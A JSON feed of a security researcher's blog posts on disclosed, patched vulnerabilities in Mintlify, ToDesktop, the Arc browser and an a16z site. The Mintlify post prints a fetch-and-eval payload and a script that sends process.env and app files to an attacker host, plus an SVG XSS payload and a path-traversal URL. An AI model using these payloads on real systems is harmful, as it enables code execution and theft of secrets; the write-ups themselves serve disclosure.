{"version":"https://jsonfeed.org/version/1","title":"xyzeva's blog","home_page_url":"https://eva.ac/","feed_url":"https://eva.ac/blog.json","description":"random thoughts and other stuff","items":[{"id":"https://eva.ac/blog/mintlify/","url":"https://eva.ac/blog/mintlify/","title":"how to hack discord, vercel and more with one easy trick","content_html":"<p><strong>this blogpost was a collaboration with two people, their articles are here: <a href=\"https://gist.github.com/hackermondev/5e2cdc32849405fff6b46957747a2d28\">hackermon</a> and <a href=\"https://heartbreak.ing/\">mdl</a></strong></p>\n<p>this started when i was notified that discord switched documentation platforms to <a href=\"https://mintlify.com/\">mintlify</a>, a company i briefly looked into before, and i thought it would be a good idea to take another look now that theyre bigger.</p>\n<h2>introduction</h2>\n<p>mintlify is a b2b saas documentation platform that allows companies to make documentation via MDX files and they host it for them, and add styling, etc.</p>\n<p>some of their customers would include:</p>\n<ul>\n<li>discord</li>\n<li>twitter</li>\n<li>vercel</li>\n<li>cursor</li>\n</ul>\n<p>...and more, you can view a full list <a href=\"https://www.mintlify.com/customers\">here</a></p>\n<p>theres also a bunch of ai features and stuff, but thats beyond the point</p>\n<p>so, i signed up and got to digging.</p>\n<h2>the rce (CVE-2025-67843)</h2>\n<p>mintlify uses MDX to render docs their customers provide, and i was wondering how they render it on the server-side for static page generation (because a docs site needs that for search engines/bots).</p>\n<p>this is because mdx is basically jsx (think react) combined with markdown, meaning you can add js expressions to your markdown. so whats preventing us from making a jsx expression that evaluates code on the server?</p>\n<p>well, i tried it with a simple payload to just eval things from a webserver</p>\n<pre><code class=\"language-jsx\">{!!fetch(&quot;https://attacker.eva.ac&quot;).then((r) =&gt; r.text()).then((c) =&gt; eval(c))}\n</code></pre>\n<p>i deployed it to mintlify and went to the page it was on, and i got a request from a vercel/amazon ip! are they really doing this on their nextjs app?</p>\n<p>i wrote a simple script to exfilitrate some data such as the process.env (and app files) to find out:</p>\n<pre><code class=\"language-js\">const exfil = (data) =&gt;\n  fetch(&quot;https://attacker.eva.ac&quot;, {\n    method: &quot;POST&quot;,\n    body: JSON.stringify(data),\n  });\nexfil({ files: [{ name: &quot;.env.json&quot;, content: JSON.stringify(process.env) }] });\ntry {\n  import(&quot;fs&quot;).then(async (a) =&gt; {\n    const arr = [];\n    for (const filename of a.readdirSync(&quot;.&quot;, { recursive: true })) {\n      if (a.lstatSync(filename).isDirectory()) continue;\n      const content = a.readFileSync(filename, &quot;utf-8&quot;);\n      arr.push({ name: filename, content });\n    }\n    console.log(arr.length);\n    await exfil({ files: arr });\n    console.log(&quot;done exfiling&quot;);\n  });\n} catch (error) {\n  exfil(error);\n}\n</code></pre>\n<p>and, after running it, this is what i got:</p>\n<p><img src=\"https://eva.ac/files/img/posts/mintlify/next-env.png\" alt=\"\"></p>\n<p><strong>shit. this is bad, we have full access.</strong></p>\n<h3>impact</h3>\n<p>i quickly realised that this was the server-side serverless (lol) environment of their main documentation app, while this calls to a external api to do everything, we have the token it calls it with in the env.</p>\n<p>alongside, we can poison the nextjs cache for everyone <strong>for any site</strong>, allowing mass xss, defacing, etc on any docs site.</p>\n<p>we can also pretend nonexistent pages exist in the cache, allowing targeted xss too</p>\n<p>with the other keys we could also:</p>\n<ul>\n<li>poisoned mintlifys analytics</li>\n<li>ruined mintlifys feature flagging</li>\n<li>dos'ed customer sites via path validations</li>\n<li>trigger a bunch of pdf exports which would jack up mintlifys cloudconvert bill</li>\n</ul>\n<p>so:</p>\n<ul>\n<li>mass xss (on customer domains)</li>\n<li>targeted xss (on custom domains)</li>\n</ul>\n<p>very bad.</p>\n<h2>targeted xss (CVE-2025-67842)</h2>\n<p>after getting all of the server routes, i noticed a interesting one: <code>/_mintlify/static/[subdomain]/{...path}</code>. this route seemed to allow you to get static images from your repository, such as svgs, pngs, etc.</p>\n<p>what if i could access my organizations asset from another domain?</p>\n<p>well i tried, i crafted a url that looked like</p>\n<pre><code class=\"language-sh\">https://discord.com/_mintlify/static/evascoolcompany/xss.svg\n</code></pre>\n<p>which, the svg on my repository having this content:</p>\n<pre><code class=\"language-svg\">&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; onload=&quot;alert(window.origin);&quot;/&gt;\n</code></pre>\n<p>and when i went to the url, i got this:</p>\n<p><img src=\"https://eva.ac/files/img/posts/mintlify/discord-alert.png\" alt=\"\"></p>\n<p><strong>well, fuck.</strong></p>\n<h3>impact</h3>\n<p>this allows complete 1 click xss on users who click a link. definitely not great, but it makes the fact worse that most companies dont properly scope cookies, or have their documentation on a subpath (such as <code>/path</code>).</p>\n<p>the latter was true in discords case, their documentation was on <code>/developers/docs</code>, and i can just get the <code>token</code> value from localstorage directly, and exfiltrate it using whatever i want</p>\n<p>some other companies that i could do full exploitation on are twitter, vercel and cursor. though we did not check many companies and there is definitely more</p>\n<h2>an unexpected message</h2>\n<p>a few hours after i started looking into this, i got an unexpected, sort of out of nowhere message from a friend, <a href=\"https://gist.github.com/hackermondev/5e2cdc32849405fff6b46957747a2d28\">hackermon</a>, who had found the targeted xss independently aswell</p>\n<p><img src=\"https://eva.ac/files/img/posts/mintlify/hackermon-message.png\" alt=\"\"></p>\n<p>we started looking into this together, alongside <a href=\"https://heartbreak.ing/\">mdl</a>, who was also looking into it with hackermon</p>\n<p>also checkout their blogposts <a href=\"https://gist.github.com/hackermondev/5e2cdc32849405fff6b46957747a2d28\">here</a> and <a href=\"https://heartbreak.ing/\">here!</a> (respectively)</p>\n<p>we also got in contact with mintlify, and started disclosing everything we already had and future things directly to them</p>\n<h2>here comes the patch bypass (CVE-2025-67845)</h2>\n<p>after mintlify patched the targeted xss via static, i was looking at the code for the route and had an idea</p>\n<p>the code for the endpoint looked like this (not exact, recreation):</p>\n<pre><code class=\"language-js\">export async function GET(_, { params }) {\n  const { subdomain, path: pathParts } = await params;\n  const path = &quot;/&quot; + pathParts.join(&quot;/&quot;);\n\n  const url = `${CDN_BASE_URL}/${subdomain}${path}`;\n  const res = await fetch(url);\n\n  if (!res.ok)\n    return new NextResponse(&quot;Asset not found&quot;, {\n      status: 404,\n    });\n\n  return res; // inaccurate, does more operations but we simply dont care about them here\n}\n</code></pre>\n<p>and i realised, nothing prevents us from adding url encoded path traversal in a part of a path, to climb up the cdn path</p>\n<p>so i crafted a url and tested, it looked like</p>\n<pre><code class=\"language-sh\">https://discord.com/_mintlify/static/discord/images/create-team-owned-app.png%2F..%2F..%2F..%2Fevascoolcompany%2Fxss.svg\n</code></pre>\n<p>and i was met with the beautiful alert page again</p>\n<p><img src=\"https://eva.ac/files/img/posts/mintlify/discord-alert.png\" alt=\"\"></p>\n<p>always remember to encode your paths properly!</p>\n<h2>non-critical vulnerabilities</h2>\n<p>alongside this, i found a few non-critical vulnerabilties which don't deserve an entire section, so here they are:</p>\n<ul>\n<li>github idor (CVE-2025-67844): mintlify doesn't validate the github repository owner/name fields on their api while your setting it, allowing you to set it to any authorized repository. allowing you to view commit details (message, hash, filename, files changed, etc) for new commits</li>\n<li>downgrade attack (CVE-2025-67846): mintlify uses vercel to facilitate deployments of both their client and the dashboard. a common pitfall when using vercel is that you fail to remove a previous deployment with a vulnerability in it, so you can target a specific previous vulnerable deployment id / git branch / git ref, and use that to facilitate the patched exploit.</li>\n</ul>\n<p>add it to your repository, wait for the deployment to build and access it on any mintlify-provided documentation/custom domain with the path <code>/_mintlify/static/evascoolcompany/xss.svg</code> or similar with prefixes</p>\n<h2>lets talk impact (again)</h2>\n<p>all together, i think this series of vulnerabilities had very big impact. considering we could supply chain attack various big fortune 500 companies, including but not limited to:</p>\n<ul>\n<li>discord</li>\n<li>twitter</li>\n<li>vercel</li>\n<li>cursor</li>\n</ul>\n<p>...and more, you can view a full list <a href=\"https://www.mintlify.com/customers\">here</a></p>\n<p>we could on targeted companies:</p>\n<ul>\n<li>override pages on docs to deface, or xss</li>\n<li>get 1 click xss</li>\n<li>view commits or push to repositories</li>\n</ul>\n<h2>the patch</h2>\n<p>after we got in contact with mintlify, everything was patched very swiftly. and i was awarded <strong>5,000 USD</strong> for my efforts and findings.</p>\n<p>the patches for the vulnerabilties were:</p>\n<ul>\n<li>the rce (CVE-2025-67843): not parsing non-simple mdx expressions on ssr, but still parsing on client</li>\n<li>targeted xss (CVE-2025-67842): you are now not able to reach any mintlify assets that are not on the same organization</li>\n<li>targeted xss patch bypass (CVE-2025-67845): theres now checks to make sure you aren't path traversing the cdn path</li>\n<li>github idor (CVE-2025-67844): its now checked on setting github repository that the github app installation registered to your mintlify account has access to the specified repository</li>\n<li>downgrade attack (CVE-2025-67846): theres now a visitor password on preview deployments on vercel and purging old deployments that were vulnerable, you can read the vercel documentation on this <a href=\"https://vercel.com/kb/guide/how-do-i-delete-an-individual-deployment\">here</a></li>\n</ul>\n<p>make sure to check out <a href=\"https://gist.github.com/hackermondev/5e2cdc32849405fff6b46957747a2d28\">hackermon</a> and <a href=\"https://heartbreak.ing/\">mdl</a>'s reports for more details on other vulnerabilties, and the possible exploitation that couldve happened.</p>\n<p><img src=\"https://eva.ac/files/img/posts/mintlify/cve-card.png\" alt=\"\"></p>\n<p><em>card by <a href=\"https://marsh.zone/\">marshift</a></em></p>\n","date_published":"Thu, 18 Dec 2025 00:00:00 GMT"},{"id":"https://eva.ac/blog/todesktop/","url":"https://eva.ac/blog/todesktop/","title":"how to gain code execution on millions of people and hundreds of popular apps","content_html":"<p>this started when i was looking into <a href=\"https://cursor.com/\">cursor</a>, an ai text editor. also, i use <a href=\"https://objective-see.org/products/lulu.html\">lulu by objective-see</a> on my laptop, so when i downloaded the cursor installer, i got this pop-up:</p>\n<p><img src=\"https://eva.ac/files/img/posts/todesktop/lulu-alert.png\" alt=\"A LuLu alert, showing that &quot;Install Cursor&quot; was trying to connect to &quot;download.todesktop.com&quot;\"></p>\n<p>now, what the hell is todesktop? i thought i was downloading cursor? well, looking at their website, they seem to be an electron app bundler service alongside providing a SDK for electron apps. so it appears the installer i downloaded is actually managed by todesktop, not cursor.</p>\n<p>this made me curious and i made an account on todesktop to look into it, and when i clicked the github login button, i saw my calling: <strong>firebase</strong></p>\n<h2>basic firebase recon</h2>\n<p>realising the app used firestore (firebase's no-sql database that is often used in frontend), i quickly opened my devtools and began doing basic recon on the firebase.</p>\n<p>i realised that the site has sourcemaps, which made searching for all of the firestore paths used in the app even easier (its still easy without sourcemaps, usually)</p>\n<p>then i found an insecure collection, <code>temporaryApplications</code>, which seemed to give me an name list of some applications (edit: todesktop has clarified this collection has no sensitive data and hasnt been updated since 2022), but not much other than that, everything seemed secure on the firebase other then this.</p>\n<p>i then noticed that most of the deployment and general logic happens in the terminal, with the npm package <code>@todesktop/cli</code>, so i installed that and started looking into it</p>\n<h2>looking into the todesktop cli</h2>\n<p>the cli manages deployments, source code uploads, and much more. the website just seems to be a shell to create applications, view deployments, etc etc</p>\n<p>i was once again lucky that the cli also had sourcemaps, so i used <a href=\"https://github.com/denandz/sourcemapper\">sourcemapper</a> to extract them into a source tree.</p>\n<p>looking in there, i found an arbitrary s3 upload vulnerability via a firebase cloud function called <code>getSignedURL</code>, but i didn't really have an s3 key (file path) to upload to that would do something interesting, so i kept looking.</p>\n<h2>hijacking the deployment pipeline via a postinstall script</h2>\n<p>i wanted to get on the machine where the application gets built and the easiest way to do this would be a postinstall script in <code>package.json</code>, so i did that with a simple reverse shell payload</p>\n<p>this worked. navigating around the container, i figured out where the actual code-building application lives, and found this:</p>\n<p><img src=\"https://eva.ac/files/img/posts/todesktop/config-encrypted.png\" alt=\"A screenshot showing a file called &quot;config.json.encrypted&quot;\"></p>\n<p>oh fuck, this usually means something bad. i found the code for decrypting this file, and this is what i got after decrypting it myself:</p>\n<p><img src=\"https://eva.ac/files/img/posts/todesktop/config-json.png\" alt=\"A file called &quot;config.json&quot;, with 2 apple id, remote sign and a hsm's credentials\"></p>\n<p><strong>fuck. this container stores secrets</strong></p>\n<p>looking around in the container more, i found a hardcoded firebase admin key (which was full-scoped).</p>\n<h2>post-exploitation</h2>\n<p>i quickly realized that with the credentials i have, i could deploy an auto update to any app of my liking, having clients receive it immediately when they restart the app.</p>\n<p>i then made some code to use my credentials to deploy an update to my app, and it worked. i immediately got a update on my client and got RCE.</p>\n<h2>lets talk about impact</h2>\n<p>with this, i could push auto updates to all applications using todesktop, such as:</p>\n<ul>\n<li>clickup (https://clickup.com)</li>\n<li>cursor (https://cursor.com) (update: cursor has now switched off of todesktop to their own build system)</li>\n<li>linear (https://linear.app)</li>\n<li>notion calendar (https://calendar.notion.so)</li>\n</ul>\n<p>(<strong>please do not harass these companies or make it seem like it's their fault, it's not. it's todesktop's fault if anything</strong>)</p>\n<p>which, if i were to estimate, is probably in the range of hundreds of millions of people in <strong>tech environments</strong>, other hackers, programmers, executives, etc. making this exploit <strong>deadly</strong> if used.</p>\n<h2>the fix</h2>\n<p>i immediately used my contacts to get in reach with the owner of todesktop, we were chatting via signal and the fix came almost immediately. they were nice enough to compensate me for my efforts and were very nice in general.</p>\n<p>the build container now has a privileged sidecar that does all of the signing, uploading and everything else instead of the main container with user code having that logic.</p>\n<p>security incidents happen all the time, its natural. what matters is the company's response, and todesktop's response has been awesome, they were very nice to work with.</p>\n<p>check out todesktop's incident report <a href=\"https://www.todesktop.com/blog/posts/security-incident-at-todesktop\">here</a></p>\n<p>for those wondering, in total i got 5k for this vuln, which i dont blame todesktop for because theyre a really small company</p>\n<p><strong>update:</strong> cursor (one of the affected customers) is giving me 50k USD for my efforts.</p>\n","date_published":"Fri, 28 Feb 2025 00:00:00 GMT"},{"id":"https://eva.ac/blog/arc/","url":"https://eva.ac/blog/arc/","title":"gaining access to anyones browser without them even visiting a website","content_html":"<p>we start at the homepage of arc. where i first landed when i first heard of it. i snatched a download and started analysing, the first thing i realised was that arc requires an account to use, why do they require an account?</p>\n<h2>introducing arcs cloud features</h2>\n<p>so i boot up my mitmproxy instance and i sign up, and i see that they are using firebase for authentication, but no other requests, are they really just using firebase only for authentication?</p>\n<p>after poking around for a bit, i discovered that there was a arc featured called easels, easels are a whiteboard like interface, and you can share them with people, and they can view them on the web. when i clicked the share button however, there was no requests in my mitmproxy instance, so whats happening here?</p>\n<h2>hacking objective-c based firebase apps</h2>\n<p>from previous experience hacking an IOS based app, i immediately had a hunch on what this was, firestore.</p>\n<p>firestore is a database-as-a-backend service that allows for developers to not care about writing a backend, and instead write database security rules and make users directly access the database.</p>\n<p>this has <a href=\"https://env.fail/posts/firewreck-1\">of course sparked a lot of services having insecure or insufficient security rules</a> and since researching that, i would like to call myself a firestore expert.</p>\n<p>firestore has a tendency to not abide by the system proxy settings in the Swift SDK for firebase, so going off my hunch, i wrote a frida script to dump the relevant calls.</p>\n<pre><code class=\"language-js\">var documentWithPath =\n  ObjC.classes.FIRCollectionReference[&quot;- documentWithPath:&quot;];\nvar queryWhereFieldIsEqualTo =\n  ObjC.classes.FIRQuery[&quot;- queryWhereField:isEqualTo:&quot;];\nvar collectionWithPath = ObjC.classes.FIRFirestore[&quot;- collectionWithPath:&quot;];\n\nfunction getFullPath(obj) {\n  if (obj.path &amp;&amp; typeof obj.path === &quot;function&quot;) {\n    return obj.path().toString();\n  }\n  return obj.toString();\n}\n\nvar queryStack = [];\n\nfunction logQuery(query) {\n  var queryString = `firebase.${query.type}(&quot;${query.path}&quot;)`;\n  query.whereClauses.forEach((clause) =&gt; {\n    queryString += `.where(&quot;${clause.fieldName}&quot;, &quot;==&quot;, &quot;${clause.value}&quot;)`;\n  });\n  console.log(queryString);\n}\n\nInterceptor.attach(documentWithPath.implementation, {\n  onEnter: function (args) {\n    var parent = ObjC.Object(args[0]);\n    var docPath = ObjC.Object(args[2]).toString();\n    var fullPath = getFullPath(parent) + &quot;/&quot; + docPath;\n    var query = { type: &quot;doc&quot;, path: fullPath, whereClauses: [] };\n    queryStack.push(query);\n    logQuery(query);\n  },\n});\n\nInterceptor.attach(collectionWithPath.implementation, {\n  onEnter: function (args) {\n    var collectionPath = ObjC.Object(args[2]).toString();\n    var query = { type: &quot;collection&quot;, path: collectionPath, whereClauses: [] };\n    queryStack.push(query);\n  },\n});\n\nInterceptor.attach(queryWhereFieldIsEqualTo.implementation, {\n  onEnter: function (args) {\n    var fieldName = ObjC.Object(args[2]).toString();\n    var value = ObjC.Object(args[3]).toString();\n\n    if (queryStack.length &gt; 0) {\n      var currentQuery = queryStack[queryStack.length - 1];\n      currentQuery.whereClauses.push({ fieldName: fieldName, value: value });\n    }\n  },\n  onLeave: function (retval) {},\n});\n\nvar executionMethods = [\n  &quot;- getDocuments&quot;,\n  &quot;- addSnapshotListener:&quot;,\n  &quot;- getDocument&quot;,\n  &quot;- addDocumentSnapshotListener:&quot;,\n  &quot;- getDocumentsWithCompletion:&quot;,\n  &quot;- getDocumentWithCompletion:&quot;,\n];\n\nexecutionMethods.forEach(function (methodName) {\n  if (ObjC.classes.FIRQuery[methodName]) {\n    Interceptor.attach(ObjC.classes.FIRQuery[methodName].implementation, {\n      onEnter: function (args) {\n        if (queryStack.length &gt; 0) {\n          var query = queryStack.pop();\n          logQuery(query);\n        }\n      },\n    });\n  }\n});\n\nfunction formatFirestoreData(data) {\n  if (data.isKindOfClass_(ObjC.classes.NSDictionary)) {\n    let result = {};\n    data.enumerateKeysAndObjectsUsingBlock_(\n      ObjC.implement(function (key, value) {\n        result[key.toString()] = value.toString();\n      })\n    );\n    return JSON.stringify(result);\n  }\n  return data.toString();\n}\n\nvar documentMethods = [\n  { name: &quot;- updateData:completion:&quot;, type: &quot;update&quot; },\n  { name: &quot;- updateData:&quot;, type: &quot;update&quot; },\n  { name: &quot;- setData:completion:&quot;, type: &quot;set&quot; },\n  { name: &quot;- setData:&quot;, type: &quot;set&quot; },\n];\n\ndocumentMethods.forEach(function (method) {\n  if (ObjC.classes.FIRDocumentReference[method.name]) {\n    Interceptor.attach(\n      ObjC.classes.FIRDocumentReference[method.name].implementation,\n      {\n        onEnter: function (args) {\n          var docRef = ObjC.Object(args[0]);\n          var data = ObjC.Object(args[2]);\n          var fullPath = getFullPath(docRef);\n          var formattedData = formatFirestoreData(data);\n          console.log(\n            `firebase.doc(&quot;${fullPath}&quot;).${method.type}(${formattedData})`\n          );\n        },\n      }\n    );\n  } else {\n    console.log(&quot;Warning: &quot; + method.name + &quot; not found&quot;);\n  }\n});\n</code></pre>\n<p>hacky script, but it works. so i launched arc with the script loaded on startup and this is what i got:</p>\n<pre><code class=\"language-js\">firebase.doc(&quot;preferences/UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;);\nfirebase.doc(\n  &quot;preferences/UvMIUnuxJ2h0E47fmZPpHLisHn12/stringValues/autoArchiveTimeThreshold&quot;\n);\nfirebase.doc(&quot;preferences/UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;);\nfirebase.doc(\n  &quot;preferences/UvMIUnuxJ2h0E47fmZPpHLisHn12/stringValues/autoArchiveLittleArcTimeThreshold&quot;\n);\nfirebase.doc(&quot;preferences/UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;);\nfirebase.doc(\n  &quot;preferences/UvMIUnuxJ2h0E47fmZPpHLisHn12/stringValues/autoArchiveTimeThresholdsPerProfile&quot;\n);\nfirebase.doc(&quot;users/UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;);\nfirebase\n  .collection(&quot;user_referrals&quot;)\n  .where(&quot;inviter_id&quot;, &quot;==&quot;, &quot;UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;);\nfirebase\n  .collection(&quot;boosts&quot;)\n  .where(&quot;creatorID&quot;, &quot;==&quot;, &quot;UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;);\n</code></pre>\n<p>sick. so it looks like arc stores some preferences in firestore, along with a basic user object, referrals and boosts</p>\n<h2>what the hell are arc boosts</h2>\n<p>arc boosts are a way for users to customize websites, by blocking elements, changing fonts, colors, and even using their own custom css and js.</p>\n<p><strong>do you see where this is going?</strong>, so, i manually logged into my account using my dummy page to test firebase accounts, and executed the exact same query to get my boosts:</p>\n<p><img src=\"https://eva.ac/files/img/posts/arc/firebase-query-1.png\" alt=\"\"></p>\n<p>cool, let me create a simple boost on google.com</p>\n<p><img src=\"https://eva.ac/files/img/posts/arc/firebase-query-2.png\" alt=\"\"></p>\n<p>hey! theres our boost, lets try changing some parameters around.</p>\n<p>i see that it queries by <code>creatorID</code>, and we cant <em>query</em> a different creator ID than the original, but what if we update our own boost to have another users id?</p>\n<p>well, i tried it with another account of mine, and this way the result when i went to google.com on the other computer (the victim one)</p>\n<p><img src=\"https://eva.ac/files/img/posts/arc/alert-popup.png\" alt=\"\"></p>\n<p><strong>what the fuck? it works?</strong></p>\n<h3>quick recap</h3>\n<ul>\n<li>arc boosts can contain arbitrary javascript</li>\n<li>arc boosts are stored in firestore</li>\n<li>the arc browser gets which boosts to use via the <code>creatorID</code> field</li>\n<li><strong>we can arbitrarily chage the <code>creatorID</code> field to any user id</strong></li>\n</ul>\n<p>thus, if we were to find a way to easily get someone elses user id, we would have a full attack chain</p>\n<h2>getting another users id</h2>\n<h3>user referrals</h3>\n<p>when someone referrs you to arc, or you referr someone to arc, you automatically get their user id in the <code>user_referrals</code> table, which means you could just ask someone for their arc invite code and they'd likely give it</p>\n<h3>published boosts</h3>\n<p>you can share arc boosts (only if they don't have js in them) with other people, and arc has a <a href=\"https://arc.net/boosts\">public site</a> with boosts, and boostSnapshots (published boosts) contain the user id of the creator.</p>\n<h3>user easels</h3>\n<p>arc has a feature called easels, which are basically whiteboards, you can share easels, and this also allows you to get someones user id.</p>\n<h2>putting it together</h2>\n<p>this would be the final attack chain:</p>\n<ul>\n<li>obtain the user id of the victim via one of the mentioned methods</li>\n<li>create a malicious boost with whatever payload you want on your own account</li>\n<li>update the boost <code>creatorID</code> field to the targets</li>\n<li>whenever the victim visits the targeted website, they will get compromised</li>\n</ul>\n<p>the browser company normally <s>does not do bug bounties</s> (update: see at the end of post), but for this catastrophic of a vuln, they decided to award me with <strong>$2,000</strong> USD</p>\n<p>the timeline for the vulnerability:</p>\n<ul>\n<li><strong>aug 25 5:48pm</strong>: got initial contact over signal (encrypted) with arc co-founder hursh</li>\n<li><strong>aug 25 6:02pm</strong>: vulnerability poc executed on hursh's arc account</li>\n<li><strong>aug 25 6:13pm</strong>: added to slack channel after details disclosed over encrypted format</li>\n<li><strong>aug 26 9:41pm</strong>: vulnerability patched, bounty awarded</li>\n<li><strong>sep 6 7:49pm</strong>: cve assigned (CVE-2024-45489)</li>\n</ul>\n<h2>rce on priviliged pages</h2>\n<p>while poking around, i saw that boosts actually execute for other protocols aswell (even though you cant create them in the client), so someone could create a boost targeting the page <code>settings</code>, and it would execute on <code>chrome://settings</code>, which allows further escalation of priviliges.</p>\n<h2>privacy concerns</h2>\n<p>while researching, i saw some data being sent over to the server, like this query everytime you visit a site:</p>\n<pre><code class=\"language-js\">firebase\n  .collection(&quot;boosts&quot;)\n  .where(&quot;creatorID&quot;, &quot;==&quot;, &quot;UvMIUnuxJ2h0E47fmZPpHLisHn12&quot;)\n  .where(&quot;hostPattern&quot;, &quot;==&quot;, &quot;www.google.com&quot;);\n</code></pre>\n<p>the <code>hostPattern</code> being the site you visit, this is against <a href=\"https://arc.net/privacy\">arc's privacy policy</a> which clearly states arc does not know which sites you visit.</p>\n<h2>update</h2>\n<p>in light of these vulnerabilities and to introduce new features arc is switching off of firebase. additionally, <a href=\"https://arc.net/blog/CVE-2024-45489-incident-response\">arc has published their own write-up</a> addressing these issues</p>\n<p>a tldr version would be:</p>\n<ul>\n<li>confirming they had fixed the issue</li>\n<li>they are adding a feature to disable boosts in the client, preventing this vulnerability from happening on people that do not use boosts</li>\n<li>they are doing an audit of their current firebase ACL rules internally</li>\n<li>they have estabilished proper protocols for security issues</li>\n</ul>\n<p>additionally, from internal discussions with arc they are also:</p>\n<ul>\n<li>are fixing the mentioned privacy concerns in the v1.61.1 update</li>\n<li>moving off firebase for new features and products</li>\n<li>they are doing a external security audit for this version</li>\n<li>are starting a bug bounty program for further vulnerabilities</li>\n</ul>\n","date_published":"Sat, 07 Sep 2024 00:00:00 GMT"},{"id":"https://eva.ac/blog/a16z/","url":"https://eva.ac/blog/a16z/","title":"how to pwn a billion dollar vc firm using inspect element","content_html":"<h2>background</h2>\n<p>i like to do this thing where i search twitter, looking for companies, and then try giving them a quick pentest. i've done a lot of my hacks this way and its more effective than you think it is.</p>\n<p>on this search, i use the &quot;Relevant People&quot; tab more often than you think, this is how i got to a16z</p>\n<ul>\n<li>crypto bullshit -&gt; venture capital firms for crypto -&gt; a16z crypto -&gt; a16z</li>\n</ul>\n<h2>the hack</h2>\n<p>while looking into a16z, i did a usual subdomain scan and used tooling from <a href=\"https://lunchcat.dev/\">lunchcat</a> which does common checks on domains, scanning for secrets in js files, etc.</p>\n<p>in this search, i came across <code>portfolio.a16z.com</code>, a site that seems like a portfolio management tool for companies that are in a16z. while doing cursory checks like i usually do, lunchcat seemed to catch a AWS key referenced somewhere in the website.</p>\n<p>i confirmed this and what i saw in the js, was this.</p>\n<pre><code class=\"language-js\">{\n    MARKETPLACE_URL: &quot;&lt;REDACTED&gt;&quot;,\n    DATABASE_URL: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_CLIENT_ID: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_SECURITY_TOKEN: &quot;&lt;REDACTED&gt;&quot;,\n    npm_config_user_agent: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_CLIENT_SECRET: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_USERNAME: &quot;&lt;REDACTED&gt;&quot;,\n    OKTA_CLIENT_ID: &quot;&lt;REDACTED&gt;&quot;,\n    OKTA_CLIENT_SECRET: &quot;&lt;REDACTED&gt;&quot;,\n    SESSION_SECRET: &quot;&lt;REDACTED&gt;&quot;,\n    API_USERNAME: &quot;&lt;REDACTED&gt;&quot;,\n    GOOGLE_CLIENT_ID_DEVELOPMENT: &quot;&lt;REDACTED&gt;&quot;,\n    CLIENT_TOKEN_SECRET: &quot;&lt;REDACTED&gt;&quot;,\n    GOOGLE_CLIENT_SECRET_DEVELOPMENT: &quot;&lt;REDACTED&gt;&quot;,\n    AWS_BUCKET_NAME: &quot;&lt;REDACTED&gt;&quot;,\n    npm_config_prefix: &quot;&lt;REDACTED&gt;&quot;,\n    REACT_APP_SENTRY_DSN: &quot;&lt;REDACTED&gt;&quot;,\n    AWS_BUCKET_TEAM_PAGES: &quot;&lt;REDACTED&gt;&quot;,\n    MAILGUN_API_KEY: &quot;&lt;REDACTED&gt;&quot;,\n    GOOGLE_CLIENT_ID: &quot;&lt;REDACTED&gt;&quot;,\n    AWS_LOGO_BUCKET_URL: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_KEY: &quot;&lt;REDACTED&gt;&quot;,\n    GOOGLE_CLIENT_SECRET: &quot;&lt;REDACTED&gt;&quot;,\n    PAPERTRAIL_API_TOKEN: &quot;&lt;REDACTED&gt;&quot;,\n    MAILGUN_PASSWORD: &quot;&lt;REDACTED&gt;&quot;,\n    OKTA_CALLBACK_URL: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_PASSWORD: &quot;&lt;REDACTED&gt;&quot;,\n    MAILGUN_USER: &quot;&lt;REDACTED&gt;&quot;,\n    AWS_ACCESS_KEY_ID: &quot;&lt;REDACTED&gt;&quot;,\n    PNPM_CONFIG_CACHE: &quot;&lt;REDACTED&gt;&quot;,\n    AWS_SECRET_ACCESS_KEY: &quot;&lt;REDACTED&gt;&quot;,\n    MAILGUN_DOMAIN: &quot;&lt;REDACTED&gt;&quot;,\n    GOOGLE_CALLBACK_URL_DEVELOPMENT: &quot;&lt;REDACTED&gt;&quot;,\n    API_PASSWORD: &quot;&lt;REDACTED&gt;&quot;,\n    SENTRY_DSN: &quot;&lt;REDACTED&gt;&quot;,\n    SALESFORCE_LOGIN_URL: &quot;&lt;REDACTED&gt;&quot;,\n    COOKIE_SECRET: &quot;&lt;REDACTED&gt;&quot;,\n    OKTA_DOMAIN: &quot;&lt;REDACTED&gt;&quot;,\n    NODE_MODULES_CACHE: &quot;&lt;REDACTED&gt;&quot;,\n    GOOGLE_CALLBACK_URL: &quot;&lt;REDACTED&gt;&quot;,,\n    NODE_ENV: &quot;&lt;REDACTED&gt;&quot;,\n    HEROKU_POSTGRESQL_CRIMSON_URL: &quot;&lt;REDACTED&gt;&quot;,\n    TALENTPLACE_URL: &quot;&lt;REDACTED&gt;&quot;,\n}\n</code></pre>\n<p>this was. horrifying, it was the entire <code>process.env</code> of a heroku instance, in the JS. put in dynamically.</p>\n<p>i did a quick valid look of the credentials and they didnt seem like fake credentials. they. were. real. and all someone had to do find them was go to the sources tab of inspect element.</p>\n<h2>impact</h2>\n<p>the compromised list of services:</p>\n<ul>\n<li>their database (containing PII)</li>\n<li>their AWS</li>\n<li>their salesforce (never checked, account may be limited)</li>\n<li>mailgun (arbitrary emails from a16z domains, and also could read older emails)</li>\n<li>... and probably more</li>\n</ul>\n<h2>reward</h2>\n<p>a16z did not give me any bug bounty on this because of the fact i publicly reached out instead of trying to reach out privately. the only reason i did it this way was because:</p>\n<ul>\n<li>there was no available contact on their main site</li>\n<li>the email i could find <code>engineering@a16z.com</code> bounced my emails</li>\n</ul>\n<p>so, i dunno. imo this is unfair.</p>\n<h2>related</h2>\n<p>techcrunch article (lorenzo reached out to me seeing my tweet trying to get in contact with them and wrote a piece!): https://techcrunch.com/2024/07/18/researcher-finds-flaw-in-a16z-website-that-exposed-some-company-data/</p>\n","date_published":"Sat, 20 Jul 2024 00:00:00 GMT"},{"id":"https://eva.ac/blog/microsoft-pwnage/","url":"https://eva.ac/blog/microsoft-pwnage/","title":"how to pwn microsoft","content_html":"<p>This article has moved, <a id=\"lol\">please click 